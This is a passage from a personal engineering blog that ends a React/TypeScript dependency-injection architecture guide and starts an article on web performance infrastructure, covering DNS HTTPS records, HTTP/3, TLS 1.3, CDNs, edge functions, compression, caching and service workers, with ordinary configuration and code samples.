      expect(mockPost).toHaveBeenCalledWith('/api/cart/add', {
        sku: 'TEST-SKU',
        quantity: 1,
      });
    });
  });

  it('tracks analytics on successful add', async () => {
    mockPost.mockResolvedValueOnce({ cartId: 'cart-123' });

    renderComponent({ quantity: 2 });

    fireEvent.click(screen.getByRole('button'));

    await waitFor(() => {
      expect(mockTrack).toHaveBeenCalledWith('add_to_cart', {
        sku: 'TEST-SKU',
        quantity: 2,
        cartId: 'cart-123',
      });
    });
  });

  it('displays error on failure', async () => {
    mockPost.mockRejectedValueOnce(new Error('Network error'));

    renderComponent();

    fireEvent.click(screen.getByRole('button'));

    await waitFor(() => {
      expect(screen.getByRole('alert')).toHaveTextContent(/network error/i);
    });
  });

  it('disables button while loading', async () => {
    mockPost.mockImplementation(() => new Promise(() => {})); // Never resolves

    renderComponent();

    fireEvent.click(screen.getByRole('button'));

    await waitFor(() => {
      expect(screen.getByRole('button')).toBeDisabled();
      expect(screen.getByRole('button')).toHaveAttribute('aria-busy', 'true');
    });
  });

  it('calls onSuccess callback', async () => {
    mockPost.mockResolvedValueOnce({ cartId: 'cart-123' });
    const onSuccess = vi.fn();

    renderComponent({ onSuccess });

    fireEvent.click(screen.getByRole('button'));

    await waitFor(() => {
      expect(onSuccess).toHaveBeenCalled();
    });
  });
});
```

---

## Configuration

### TypeScript Configuration

> **Version Context (TypeScript 5.x):** All strict flags shown are current as of TypeScript 5.6 (2024). TypeScript 6.0 (unreleased) will enable `--strict` by default, making this configuration the baseline.

```jsonc
// tsconfig.json

{
  "compilerOptions": {
    // Strict mode (required)
    "strict": true,
    "noImplicitAny": true,
    "strictNullChecks": true,
    "strictFunctionTypes": true,
    "strictBindCallApply": true,
    "strictPropertyInitialization": true,
    "noImplicitThis": true,
    "alwaysStrict": true,

    // Additional checks
    "noUnusedLocals": true,
    "noUnusedParameters": true,
    "noImplicitReturns": true,
    "noFallthroughCasesInSwitch": true,
    "noUncheckedIndexedAccess": true,
    "noPropertyAccessFromIndexSignature": true,

    // Path aliases
    "baseUrl": ".",
    "paths": {
      "@company-name/design-system": ["node_modules/@company-name/design-system"],
      "@company-name/design-system/*": ["node_modules/@company-name/design-system/*"],
      "@sdk": ["src/sdk"],
      "@sdk/*": ["src/sdk/*"],
      "@blocks": ["src/blocks"],
      "@blocks/*": ["src/blocks/*"],
      "@widgets": ["src/widgets"],
      "@widgets/*": ["src/widgets/*"],
      "@registries": ["src/registries"],
      "@registries/*": ["src/registries/*"],
      "@layout": ["src/layout-engine"],
      "@layout/*": ["src/layout-engine/*"],
      "@shared": ["src/shared"],
      "@shared/*": ["src/shared/*"],
    },

    // Module resolution
    "target": "ES2020",
    "lib": ["DOM", "DOM.Iterable", "ES2020"],
    "module": "ESNext",
    "moduleResolution": "bundler",
    "resolveJsonModule": true,
    "allowJs": false,

    // React
    "jsx": "react-jsx",

    // Interop
    "esModuleInterop": true,
    "allowSyntheticDefaultImports": true,
    "forceConsistentCasingInFileNames": true,
    "isolatedModules": true,

    // Output
    "declaration": true,
    "declarationMap": true,
    "sourceMap": true,
    "skipLibCheck": true,
  },
  "include": ["src/**/*"],
  "exclude": ["node_modules", "**/*.test.ts", "**/*.test.tsx"],
}
```

### Package Scripts

```jsonc
// package.json (scripts section)

{
  "scripts": {
    "dev": "next dev",
    "build": "next build",
    "start": "next start",

    "typecheck": "tsc --noEmit",
    "typecheck:watch": "tsc --noEmit --watch",

    "lint": "eslint src/",
    "lint:fix": "eslint src/ --fix",
    "lint:strict": "eslint src/sdk src/blocks src/widgets --max-warnings 0",

    "test": "vitest",
    "test:ui": "vitest --ui",
    "test:coverage": "vitest --coverage",
    "test:ci": "vitest --run --coverage",

    "validate": "npm run typecheck && npm run lint:strict && npm run test:ci",
    "prepare": "husky install",
  },
}
```

---

## Conclusion

This architecture inverts control at every layer: components declare dependencies via interfaces, the application shell provides implementations, and tests inject mocks. The result is a codebase where business logic is portable across frameworks and testable without framework mocking.

The trade-offs are real: additional boilerplate (~15% more code), a steeper learning curve for developers unfamiliar with DI patterns, and slower initial development velocity. These costs pay off in long-lived codebases with multiple teams or expected framework migrations.

**Start incrementally:** Begin with the SDK abstraction for your most-mocked dependency (usually routing or HTTP). Add boundary enforcement when you see cross-layer imports creeping in. The full architecture emerges from solving real problems, not upfront design.

---

## Appendix

### Prerequisites

This guide assumes familiarity with:

- React 18+ (hooks, Context API, Suspense)
- TypeScript (strict mode, generics, module systems)
- Modern bundlers (Vite or Webpack 5)
- ESLint configuration (flat config format)

Architectural context:

| Pattern                        | Description                                         | Required?   |
| ------------------------------ | --------------------------------------------------- | ----------- |
| **Design System**              | A separate library of generic UI components         | Yes         |
| **Backend-for-Frontend (BFF)** | A backend layer that serves UI-specific data        | Recommended |
| **Server-Driven UI**           | Backend defines page layout and widget composition  | Optional    |
| **Widget-Based Architecture**  | UI composed of self-contained, configurable modules | Yes         |

### Terminology

| Term                           | Definition                                                                                                                                                              |
| ------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Primitive**                  | A generic, reusable UI component with no business logic (e.g., Button, Card, Modal). Lives in the design system.                                                        |
| **Block**                      | A business-aware component that composes Primitives and adds domain-specific behavior (e.g., ProductCard, AddToCartButton).                                             |
| **Widget**                     | A self-contained page section that receives configuration from the backend and composes Blocks to render a complete feature.                                            |
| **SDK**                        | An internal abstraction layer that provides framework-agnostic access to cross-cutting concerns (routing, analytics, state).                                            |
| **BFF (Backend-for-Frontend)** | A backend service layer specifically designed to serve the needs of a particular frontend. It aggregates data from multiple services and formats it for UI consumption. |
| **Layout**                     | A data structure from the BFF that defines the page structure, including SEO metadata, analytics configuration, and the list of widgets to render.                      |
| **Widget Payload**             | The data contract between the BFF and a specific widget, containing all information needed to render that widget.                                                       |
| **Widget Registry**            | A mapping of widget type identifiers to their corresponding React components.                                                                                           |
| **Boundary**                   | A defined interface between architectural layers that controls what can be imported from where.                                                                         |
| **Barrel Export**              | An `index.ts` file that explicitly defines the public API of a module.                                                                                                  |
| **Dependency Injection (DI)**  | A pattern where dependencies are provided to a component rather than created within it.                                                                                 |
| **Provider Pattern**           | Using React Context to inject dependencies at runtime, enabling easy testing and configuration.                                                                         |
| **HMR**                        | Hot Module Replacement—Vite/Webpack feature that updates modules in the browser without full page reload.                                                               |

### Summary

- **Inversion of Control** via React Context enables testability without framework mocking
- **Layered boundaries** (Primitives → Blocks → Widgets) prevent coupling; `eslint-plugin-boundaries` enforces at build time
- **SDK abstractions** wrap framework APIs, enabling migration by swapping implementations
- **Barrel files** define public APIs but require `sideEffects: false` and awareness of dev-mode HMR performance
- **TypeScript strict mode** is non-negotiable for large codebases; all flags shown become defaults in TS 6.0
- This pattern trades initial velocity for long-term maintainability—best suited for multi-team apps or expected framework migrations

### References

**Specifications and Official Documentation:**

- [React Context - Official Documentation](https://react.dev/reference/react/createContext) - API reference for Context, the foundation of this DI pattern
- [TypeScript TSConfig Reference](https://www.typescriptlang.org/tsconfig/) - Official documentation on strict mode and compiler options
- [Vite Performance Guide](https://vite.dev/guide/performance) - Official guidance on optimizing builds and dev server performance
- [ESLint Flat Config](https://eslint.org/docs/latest/use/configure/configuration-files-new) - ESLint 9+ configuration format used in this article

**Core Maintainer Content:**

- [React Context for Dependency Injection](https://testdouble.com/insights/react-context-for-dependency-injection-not-state-management) - Test Double on using Context for DI instead of state management
- [Please Stop Using Barrel Files](https://tkdodo.eu/blog/please-stop-using-barrel-files) - TkDodo (TanStack Query maintainer) on barrel file trade-offs and tree-shaking

**Tools and Libraries:**

- [eslint-plugin-boundaries](https://github.com/javierbrea/eslint-plugin-boundaries) - ESLint plugin (5.x+) for enforcing architectural boundaries
- [Next.js optimizePackageImports](https://nextjs.org/docs/app/api-reference/config/next-config-js/optimizePackageImports) - Next.js 14+ configuration for barrel file optimization
- [Vitest](https://vitest.dev/) - Testing framework compatible with Vite and React, used in examples

**Industry Expert Blogs:**

- [Dependency Injection in React](https://blog.logrocket.com/dependency-injection-react/) - LogRocket guide covering props, Context, and custom hooks patterns
- [React Patterns](https://krasimir.gitbooks.io/react-in-patterns/content/) - Krasimir Tsonev's guide to React patterns including dependency injection

---

## Web Performance Infrastructure: DNS, CDN, Caching, and Edge

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/frontend-engineering/web-performance-optimization/web-performance-infrastructure-stack
**Category:** Frontend Engineering / Web Performance Optimization
**Description:** Infrastructure optimization addresses the foundation of web performance—the layers between a user’s request and your application’s response. This article covers DNS as a performance lever, HTTP/3 and QUIC for eliminating protocol-level bottlenecks, CDN and edge computing for geographic proximity, compression strategies for payload reduction, and caching patterns that can reduce Time to First Byte (TTFB) by 85-95% while offloading 80%+ of traffic from origin servers.

# Web Performance Infrastructure: DNS, CDN, Caching, and Edge

Infrastructure optimization addresses the foundation of web performance—the layers between a user's request and your application's response. This article covers DNS as a performance lever, HTTP/3 and QUIC for eliminating protocol-level bottlenecks, CDN and edge computing for geographic proximity, compression strategies for payload reduction, and caching patterns that can reduce Time to First Byte (TTFB) by 85-95% while offloading 80%+ of traffic from origin servers.

<figure>

![Infrastructure optimization layers: connection, edge, payload, and origin working together for sub-100ms TTFB](./infrastructure-optimization-layers-connection-edge-payload-and-origin-working-to.svg)

<figcaption>Infrastructure optimization layers: connection, edge, payload, and origin working together for sub-100ms TTFB</figcaption>

</figure>

## Abstract

Infrastructure performance follows a layered model where each layer multiplies the impact of the one below it:

![Diagram](./diagram-1.svg)

**Core mental model**: Every request traverses DNS → Connection → Edge → Origin. Optimization means either eliminating layers entirely (edge caching bypasses origin), reducing round trips within layers (HTTP/3 merges crypto and transport handshakes), or moving computation closer to the user (edge functions).

**Key trade-offs to understand**:

| Optimization                | What it buys                                           | What it costs                                                       |
| --------------------------- | ------------------------------------------------------ | ------------------------------------------------------------------- |
| HTTP/3 (QUIC over UDP)      | Eliminates TCP head-of-line blocking, 0-RTT resumption | UDP may be blocked/throttled, requires infrastructure changes       |
| Edge computing              | Sub-10ms latency to users, origin offload              | Limited runtime (no filesystem, constrained memory), vendor lock-in |
| Aggressive caching          | 90%+ origin offload, instant responses                 | Cache invalidation complexity, stale data risk                      |
| Pre-compression (Brotli 11) | 15-27% smaller than gzip                               | Build time cost, storage for multiple variants                      |

**Performance targets** (2025 benchmarks):

- DNS: <20ms excellent, <50ms acceptable
- Connection (HTTP/3): <100ms, with 0-RTT resumption for return visitors
- TTFB: <100ms excellent, <200ms good
- Origin offload: >80% of bytes from edge

## Part 1: The Connection Layer

The initial moments of a user's interaction with a website are defined by the speed and efficiency of the network connection. Latency introduced during DNS lookup, protocol negotiation, and security handshake can significantly delay TTFB.

### 1.1 DNS as a Performance Lever

Modern DNS has evolved from a simple directory into a sophisticated signaling mechanism through SVCB and HTTPS record types ([RFC 9460](https://datatracker.ietf.org/doc/html/rfc9460), published November 2023).

**Why HTTPS records exist**: Before RFC 9460, browsers discovered HTTP/3 support only after connecting via HTTP/2, receiving an `Alt-Svc` header, and then upgrading on subsequent requests. This added 1-2 RTTs to the first HTTP/3 connection. HTTPS records move protocol negotiation into DNS, enabling direct HTTP/3 connections on the first request.

**HTTPS Record Benefits:**

- **alpn parameter**: Advertises HTTP/3 support (`alpn="h3"`), allowing browsers to skip protocol upgrade negotiation
- **ipv4hint/ipv6hint**: Provides IP addresses, potentially saving additional DNS lookups
- **Saves 100-300ms**: By enabling direct HTTP/3 connection attempts

**Adoption (2025)**: ~15% of top 1M domains have HTTPS records, with Cloudflare's automatic deployment driving ~80% of that adoption. Browser support: Chrome 96+, Firefox 78+ (DoH only), Safari 14+ (most complete implementation).

```dns
; HTTPS record enabling HTTP/3 discovery
example.com. 300 IN HTTPS 1 . alpn="h3,h2" port="443" ipv4hint="192.0.2.1"

; SVCB record for service binding
_service.example.com. 300 IN SVCB 1 svc.example.net. alpn="h3" port="8443"
```

**Measurement:**

```javascript title="dns-timing.js"
const measureDNSTiming = () => {
  const navigation = performance.getEntriesByType("navigation")[0]
  const dnsTime = navigation.domainLookupEnd - navigation.domainLookupStart

  return {
    timing: dnsTime,
    status: dnsTime < 20 ? "excellent" : dnsTime < 50 ? "good" : "needs-improvement",
  }
}
```

### 1.2 HTTP/3 and QUIC

HTTP/3 ([RFC 9114](https://datatracker.ietf.org/doc/html/rfc9114), June 2022) abandons TCP for QUIC ([RFC 9000](https://datatracker.ietf.org/doc/html/rfc9000)), providing transformative benefits ([HTTP/3 Explained](https://http3-explained.haxx.se/)):

**Why QUIC exists**: TCP's design predates the modern web. Its head-of-line blocking (a single lost packet blocks all streams), 2-RTT handshake, and IP-bound connections create latency that can't be fixed at the application layer. QUIC redesigns the transport layer with web workloads in mind.

**Elimination of Head-of-Line Blocking**: QUIC implements streams as first-class citizens. Packet loss in one stream doesn't impact others—critical for complex web pages loading dozens of parallel resources. Research shows HTTP/3 can achieve up to 81.5% improvement in extreme loss scenarios.

**Faster Connection Establishment**: QUIC integrates cryptographic and transport handshakes into a single RTT. Combined with 0-RTT resumption for returning visitors, this can eliminate handshake latency entirely.

**Connection Migration**: Uses Connection ID (CID) instead of IP/port tuple, allowing seamless network switching (Wi-Fi to cellular) without reconnection. This addresses a pain point that TCP fundamentally cannot solve.

**Adoption (2025)**: 37% of websites globally support HTTP/3 (W3Techs), with 21% of actual requests using HTTP/3 (Cloudflare Radar). Browser support is mature: Chrome 87+, Firefox 88+, Safari 16+ (enabled by default September 2024), Edge 87+.

![Diagram](./diagram-2.svg)

**Performance Impact (2025 benchmarks):**

| Scenario               | HTTP/3 vs HTTP/2       | Notes                            |
| ---------------------- | ---------------------- | -------------------------------- |
| TTFB (average)         | 12.4% faster           | 176ms vs 201ms                   |
| High packet loss (15%) | 55% faster             | QUIC's stream independence       |
| Extreme loss scenarios | 81-88% faster          | TCP completely stalls            |
| Small pages (15KB)     | ~3% faster             | Marginal gain                    |
| Large pages (1MB)      | HTTP/2 slightly faster | Congestion algorithm differences |

**Why HTTP/3 doesn't always win**: Current HTTP/3 implementations often use CUBIC congestion control while HTTP/2 uses BBR. Cloudflare's research shows HTTP/3 trails by 1-4% on average in stable network conditions due to these algorithm differences, not protocol overhead.

### 1.3 TLS 1.3 Optimization

TLS 1.3 ([RFC 8446](https://datatracker.ietf.org/doc/html/rfc8446), August 2018; revision draft-ietf-tls-rfc8446bis in AUTH48 as of September 2025) was redesigned with performance as a core feature.

**Why TLS 1.3 is faster**: TLS 1.2 required 2 RTTs because the client and server exchanged multiple messages sequentially (ClientHello → ServerHello → Certificate → KeyExchange → Finished). TLS 1.3 merges these into a single flight by using ephemeral Diffie-Hellman exclusively and sending encrypted data immediately after the first round trip.

**1-RTT Handshake**: Streamlined negotiation requires only a single round trip (vs 2 RTT for TLS 1.2), reducing latency by 30-50%.

**0-RTT Resumption**: Returning visitors can send encrypted data in the first packet, eliminating handshake latency for ~40% of connections that are resumptions.

**0-RTT Security Trade-off**: 0-RTT data is vulnerable to replay attacks—an attacker can capture and resend the encrypted request. Mitigations: use 0-RTT only for idempotent requests (GET), implement server-side replay detection, or disable 0-RTT for sensitive operations. Cloudflare keeps 0-RTT disabled by default for Business/Enterprise zones due to this risk.

**Adoption (2025)**: 62-70% of websites support TLS 1.3 (SSL Labs). Browser support: Chrome 70+, Firefox 63+, Safari 12.2+, Edge 79+. Post-quantum cryptography with TLS 1.3 is emerging: 43% of Cloudflare connections use hybrid post-quantum key exchange (September 2025).

![Diagram](./diagram-3.svg)

### 1.4 Connection Layer Trade-offs

| Optimization           | Benefits                                         | Trade-offs                                                       | Adoption (2025)        |
| ---------------------- | ------------------------------------------------ | ---------------------------------------------------------------- | ---------------------- |
| **SVCB/HTTPS Records** | Faster protocol discovery, skip Alt-Svc upgrade  | DNS infrastructure changes, mixed browser implementation quality | ~15% of top 1M domains |
| **HTTP/3 Adoption**    | No TCP HOL blocking, 0-RTT, connection migration | UDP may be blocked/throttled, infrastructure changes             | 37% of websites        |
| **TLS 1.3 Migration**  | 1-RTT handshake (50% faster than TLS 1.2)        | Certificate/infrastructure updates                               | 62-70% of websites     |
| **0-RTT Resumption**   | Zero handshake latency for return visitors       | Replay attack vulnerability, requires idempotent operations      | Selectively enabled    |

## Part 2: The Edge Network

By bringing content and computation closer to end-users, edge networks dramatically reduce latency, absorb traffic spikes, and improve overall application performance.

### 2.1 CDN Architecture

A CDN's primary goal is to reduce latency by serving content from geographically proximate Points of Presence (PoPs).

**Why CDNs work**: Speed of light limits latency to ~1ms per 200km of fiber. A user in Sydney connecting to a San Francisco origin faces ~150ms minimum latency. A CDN PoP in Sydney reduces this to <10ms for cached content.

**Core Principles:**

- **Geographic Distribution**: Minimizes physical distance, reducing round-trip time
- **Static Asset Caching**: Delivers images, CSS, JS from edge cache—orders of magnitude faster than origin
- **DDoS Protection**: Distributed infrastructure absorbs attacks

**Origin Offload vs Cache-Hit Ratio:**

Cache-hit ratio treats all requests equally. **Origin offload** measures percentage of bytes from cache—a more meaningful Key Performance Indicator (KPI) that reflects actual infrastructure savings. A 95% cache-hit ratio with 5% of requests being large API responses could mean only 50% origin offload by bytes.

```javascript title="cdn-strategy.js"
const cdnStrategy = {
  static: {
    maxAge: 31536000, // 1 year
    types: ["images", "fonts", "css", "js"],
    headers: {
      "Cache-Control": "public, max-age=31536000, immutable",
    },
  },
  dynamic: {
    maxAge: 300, // 5 minutes
    types: ["api", "html"],
    headers: {
      "Cache-Control": "public, max-age=300, stale-while-revalidate=60",
    },
  },
  micro: {
    maxAge: 5, // 5 seconds
    types: ["inventory", "pricing", "news"],
    headers: {
      "Cache-Control": "public, max-age=5, stale-while-revalidate=30",
    },
  },
}
```

### 2.2 Edge Computing

Edge computing extends CDNs from content delivery to distributed application platforms.

**Why edge computing matters**: Traditional CDNs cache static content but still require origin round-trips for any dynamic logic. Edge computing runs code at the PoP, enabling personalization, authentication, and business logic at <10ms latency vs 100-300ms for origin requests.

**Platform landscape (2025)**:

| Platform               | Runtime        | Cold Start              | Key Strength                  |
| ---------------------- | -------------- | ----------------------- | ----------------------------- |
| Cloudflare Workers     | V8 isolates    | ~5ms (effectively zero) | 99.99% warm request rate      |
| Vercel Edge Functions  | V8 isolates    | 9x faster than Lambda   | Fluid Compute pricing         |
| Netlify Edge Functions | Deno           | Faster than Node.js     | Netlify ecosystem integration |
| Fastly Compute         | WebAssembly    | Microseconds            | Multi-language support        |
| AWS Lambda@Edge        | Node.js/Python | Seconds                 | AWS ecosystem                 |

**Key Use Cases:**

- **Dynamic Content Acceleration**: Perform personalization logic closer to users
- **A/B Testing**: Execute variant selection at edge without origin round-trip
- **Edge Authentication**: Block invalid requests immediately, protecting origin

```javascript title="edge-worker.js" collapse={1-3}
addEventListener("fetch", (event) => {
  event.respondWith(handleRequest(event.request))
})

async function handleRequest(request) {
  const url = new URL(request.url)

  // A/B testing at the edge
  if (url.pathname === "/homepage") {
    const variant = getABTestVariant(request)
    const content = await generatePersonalizedContent(request, variant)

    return new Response(content, {
      headers: {
        "content-type": "text/html",
        "cache-control": "public, max-age=300",
        "x-variant": variant,
      },
    })
  }

  // Geo-routing and localized caching
  const country = request.headers.get("cf-ipcountry")
  const localizedContent = await getLocalizedContent(country)

  return new Response(localizedContent, {
    headers: {
      "content-type": "text/html",
      "cache-control": "public, max-age=600",
    },
  })
}
```

**Architecture Shift**: The CDN evolves from cache to application perimeter. The question changes from "How do we make the origin faster?" to "How much can we prevent from ever hitting the origin?"

**Edge computing limitations**: No filesystem access, no TCP/UDP sockets (except Deno Deploy), constrained memory (2MB-3GB depending on platform), no dynamic code execution (eval/new Function), limited execution time (1ms-30s). These constraints exist because edge runtimes prioritize isolation and fast cold starts over flexibility.

## Part 3: Payload Optimization

### 3.1 Compression Strategy

The choice of algorithm involves a trade-off between compression ratio and speed, requiring different strategies for static and dynamic content.

**Why multiple algorithms exist**: Gzip (1992) optimized for the hardware of its era. Brotli (2015) was designed by Google specifically for web content, achieving 15-27% better compression than gzip by using a pre-defined dictionary of common web strings. Zstandard (2016) from Facebook prioritizes compression speed while matching Brotli's ratios.

**Static Content (Pre-compression):**
Use the most effective algorithm at highest quality since compression time doesn't affect users:

- Brotli level 11 produces smallest files (15-27% smaller than gzip)
- Pre-compress during build: `.js.br`, `.css.br`
- Server serves appropriate pre-compressed file based on Accept-Encoding

**Dynamic Content (On-the-fly):**
Compression happens in real-time, so speed matters ([compression benchmarks](https://paulcalvano.com/2024-03-19-choosing-between-gzip-brotli-and-zstandard-compression/)):

- Brotli level 4-5: Better than gzip at similar speed
- Zstandard level 3-12: 42% faster than Brotli at similar ratios

**Edge Compression:**
Offload compression to CDN to free origin CPU. CDNs can cache compressed variants and serve the appropriate one based on client support.

**Browser support (2025)**: Brotli has 96% global support (all modern browsers). Zstandard has 76% support (Chrome 123+, Firefox 126+, Edge 123+; Safari can decompress but doesn't request it).

### 3.2 Compression Algorithm Matrix

| Algorithm     | Static    | Dynamic    | Browser Support (2025) | Trade-off                                         |
| ------------- | --------- | ---------- | ---------------------- | ------------------------------------------------- |
| **Gzip**      | Level 6-9 | Level 6    | 99%+                   | Universal fallback, ~30% worse than Brotli        |
| **Brotli**    | Level 11  | Level 4-5  | 96%                    | Best ratio, slow at high levels                   |
| **Zstandard** | Level 19  | Level 3-12 | 76%                    | 42% faster compression than Brotli, similar ratio |

**CDN adoption (2025)**: CDN servers use Brotli (46%), gzip (42%), Zstandard (12%). Origin servers lag behind: gzip (61%), Brotli (39%), Zstandard minimal. ~30% of sites still use gzip level 1, leaving 25-30% compression gains on the table.

**Nginx Configuration:**

```nginx
http {
    # Brotli compression
    brotli on;
    brotli_comp_level 6;
    brotli_types
        application/javascript
        application/json
        text/css
        text/html;

    # Gzip fallback
    gzip on;
    gzip_vary on;
    gzip_types
        application/javascript
        text/css
        text/html;

    # Static pre-compressed files
    gzip_static on;
    brotli_static on;
}
```

## Part 4: Origin Infrastructure

### 4.1 Load Balancing Algorithms

**Why algorithm choice matters**: The wrong algorithm can create hot spots (overloaded servers while others idle) or break session state. The right choice depends on your traffic pattern and statefulness requirements.

**Static Algorithms:**

- **Round Robin**: Simple sequential distribution; best for homogeneous servers with stateless workloads
- **Weighted Round Robin**: Assigns weight based on server capacity; use when servers have different specs

**Dynamic Algorithms:**

- **Least Connections**: Routes to server with fewest active connections; better for long-lived connections (WebSocket, streaming)
- **Least Response Time**: Routes to fastest-responding server; best for latency optimization when backend performance varies

**Session Persistence:**

- **Source IP Hash**: Maps client IP to specific server for session continuity; breaks when users are behind NAT or proxies
- **Cookie-based**: More reliable than IP hash but requires cookie support

### 4.2 In-Memory Caching

An in-memory caching layer (Redis, Memcached) stores expensive query results, serving subsequent requests from RAM (Random Access Memory).

**Why in-memory caching works**: RAM access is ~100,000x faster than SSD (~100ns vs ~10ms). For read-heavy workloads, caching database query results in RAM can reduce p99 latency from 100ms to <1ms.

**Redis vs Memcached:**

| Aspect          | Memcached                          | Redis                                       |
| --------------- | ---------------------------------- | ------------------------------------------- |
| **Data model**  | Key-value only                     | Strings, hashes, lists, sets, sorted sets   |
| **Threading**   | Multi-threaded                     | Single-threaded (+ I/O threads in Redis 6+) |
| **Persistence** | None (volatile)                    | RDB snapshots, AOF logging                  |
| **Replication** | None built-in                      | Primary-replica, Redis Cluster              |
| **Use case**    | Simple caching, maximum throughput | Complex caching, data structures, pub/sub   |

**When to use Memcached**: Pure caching with simple key-value access, maximum multi-core utilization, no persistence requirements.

**When to use Redis**: Need data structures (leaderboards with sorted sets, rate limiting with atomic increments), persistence, replication, or pub/sub.

```javascript title="cache-helper.js"
const getCachedData = async (key, fetchFunction, ttl = 3600) => {
  try {
    const cached = await redis.get(key)
    if (cached) {
      return JSON.parse(cached)
    }

    const data = await fetchFunction()
    await redis.setex(key, ttl, JSON.stringify(data))
    return data
  } catch (error) {
    return await fetchFunction()
  }
}
```

### 4.3 Database Optimization

**Why database optimization matters**: Database queries are often the largest contributor to TTFB. A single unindexed query can take 100ms+ while the same query with proper indexing takes <1ms.

**Query Optimization:**

- Never use `SELECT *`; request only needed columns (reduces I/O and network transfer)
- Use `EXPLAIN` (PostgreSQL) or `EXPLAIN ANALYZE` to inspect execution plans
- Ensure JOIN columns are indexed; missing indexes on JOIN columns cause full table scans

**Strategic Indexing:**

- Index columns in WHERE, JOIN, ORDER BY clauses
- Avoid over-indexing: each index slows writes and consumes storage
- Consider partial indexes for filtered queries (e.g., `WHERE status = 'active'`)

**Read Replicas:**

- Direct writes to primary, distribute reads across replicas
- Replication lag trade-off: replicas may be milliseconds to seconds behind primary
- Use for read-heavy workloads where eventual consistency is acceptable

**Connection Pooling:**

- Maintain pool of connections for reuse; creating new connections takes 10-50ms
- Size pool appropriately: too small causes queueing, too large wastes memory
- Tools: PgBouncer (PostgreSQL), ProxySQL (MySQL)

## Part 5: Modern Architectural Patterns

### 5.1 Islands Architecture

Renders pages as static HTML by default, hydrating only interactive components (islands) on demand ([Astro Islands](https://docs.astro.build/en/concepts/islands/)).

**Why islands exist**: Traditional Single Page Applications (SPAs) ship the entire application as JavaScript, even for mostly-static content. Islands architecture recognizes that most content doesn't need interactivity—only specific "islands" (search boxes, comment sections, shopping carts) need JavaScript.

**Core Principles:**

- **Static by Default**: No JavaScript required for initial display
- **Selective Hydration**: Interactive components hydrate based on triggers (`client:load`, `client:visible`, `client:idle`)
- **Progressive Enhancement**: Functionality adds incrementally; content is accessible without JavaScript

```astro title="index.astro"
---
const posts = await getPosts()
---

<html>
  <body>
    <!-- Static HTML - no JavaScript -->
    <main>
      {
        posts.map((post) => (
          <article>
            <h2>{post.title}</h2>
            <p>{post.excerpt}</p>
          </article>
        ))
      }
    </main>

    <!-- Interactive islands - hydrated on demand -->
    <SearchComponent client:load />
    <NewsletterSignup client:visible />
    <CommentsSection client:idle />
  </body>
</html>
```

**Performance Benefits:**

- Initial bundle size: 50-80% reduction
- Near-instant TTI for static content
- Full SSR for SEO

### 5.2 Resumability (Qwik)

Zero-hydration approach: serializes execution state into HTML and resumes exactly where server left off on user interaction ([Qwik Resumability](https://qwik.dev/docs/concepts/resumable/)).

**Why resumability matters**: Hydration requires downloading, parsing, and executing JavaScript to rebuild the component tree—even for components the user never interacts with. Resumability skips this entirely by serializing the application state into the HTML, loading component code only when the user interacts with that specific component.

**Key Advantages:**

- Zero JavaScript execution on initial load
- Instant interactivity on first interaction (no hydration delay)
- Time to Interactive (TTI) doesn't degrade with application size

**Trade-off**: Serializing state increases HTML size. Works best for content-heavy sites with occasional interactivity; less suited for highly interactive applications where most components will be used.

### 5.3 Backend for Frontend (BFF)

Creates specialized backend services that aggregate data from multiple microservices into optimized responses.

**Why BFF exists**: In microservices architectures, a single page may require data from 5-10 services. Having the frontend make all these calls creates: (1) waterfall latency as calls often depend on each other, (2) over-fetching as each service returns its full response, (3) complexity in handling partial failures. A BFF aggregates these calls server-side, returning a single optimized payload.

**Performance Impact:**

| Metric             | Without BFF  | With BFF     | Improvement        |
| ------------------ | ------------ | ------------ | ------------------ |
| **Payload Size**   | 150-200KB    | 80-120KB     | 30-50% reduction   |
| **API Requests**   | 5-8 requests | 1-2 requests | 60-80% reduction   |
| **Response Time**  | 800-1200ms   | 200-400ms    | 60-75% faster      |
| **Cache Hit Rate** | 30-40%       | 70-85%       | 40-45% improvement |

```javascript title="product-bff.js"
class ProductPageBFF {
  async getProductPageData(productId, userId) {
    const [product, reviews, inventory, recommendations] = await Promise.all([
      this.productService.getProduct(productId),
      this.reviewService.getReviews(productId),
      this.inventoryService.getStock(productId),
      this.recommendationService.getRecommendations(productId, userId),
    ])

    return {
      product: this.transformProduct(product),
      reviews: this.optimizeReviews(reviews),
      availability: this.formatAvailability(inventory),
      recommendations: this.filterRecommendations(recommendations),
    }
  }
}
```

### 5.4 Private VPC Routing

Differentiate network paths for client-side and server-side data fetching.

**Why private routing matters**: Client-side API calls traverse the public internet (100-300ms latency, egress costs, exposure to attacks). Server-side calls within a Virtual Private Cloud (VPC) use internal networking (5-20ms latency, no egress costs, isolated from internet).

| Fetching Context | Network Path                   | Performance | Security |
| ---------------- | ------------------------------ | ----------- | -------- |
| **Client-Side**  | Public Internet → CDN → Origin | 100-300ms   | Standard |
| **Server-Side**  | Private VPC → Internal Network | 5-20ms      | Enhanced |

**Implementation:**

```javascript title="api-client.js"
class APIClient {
  constructor() {
    this.publicUrl = process.env.NEXT_PUBLIC_API_URL
    this.privateUrl = process.env.API_URL_PRIVATE
  }

  // Client-side API calls (public internet)
  async clientFetch(endpoint, options = {}) {
    return fetch(`${this.publicUrl}${endpoint}`, options)
  }

  // Server-side API calls (private VPC)
  async serverFetch(endpoint, options = {}) {
    return fetch(`${this.privateUrl}${endpoint}`, {
      ...options,
      headers: {
        "X-Internal-Request": "true",
        ...options.headers,
      },
    })
  }
}
```

**Performance Impact:**

- TTFB: 85-95% faster (5-20ms vs 150-300ms)
- Cost: 60-80% savings on egress
- Security: VPC isolation

## Part 6: Multi-Layer Caching

### 6.1 Service Worker Caching

```javascript title="service-worker.js" collapse={1-4}
import { registerRoute } from "workbox-routing"
import { CacheFirst, NetworkFirst, StaleWhileRevalidate } from "workbox-strategies"
import { ExpirationPlugin } from "workbox-expiration"

// Cache-first for static assets
registerRoute(
  ({ request }) => request.destination === "image" || request.destination === "font",
  new CacheFirst({
    cacheName: "static-assets",
    plugins: [
      new ExpirationPlugin({
        maxEntries: 100,
        maxAgeSeconds: 30 * 24 * 60 * 60, // 30 days
      }),
    ],
  }),
)

// Stale-while-revalidate for CSS/JS
registerRoute(
  ({ request }) => request.destination === "script" || request.destination === "style",
  new StaleWhileRevalidate({
    cacheName: "bundles",
  }),
)

// Network-first for API responses
registerRoute(
  ({ url }) => url.pathname.startsWith("/api/"),
  new NetworkFirst({
    cacheName: "api-cache",
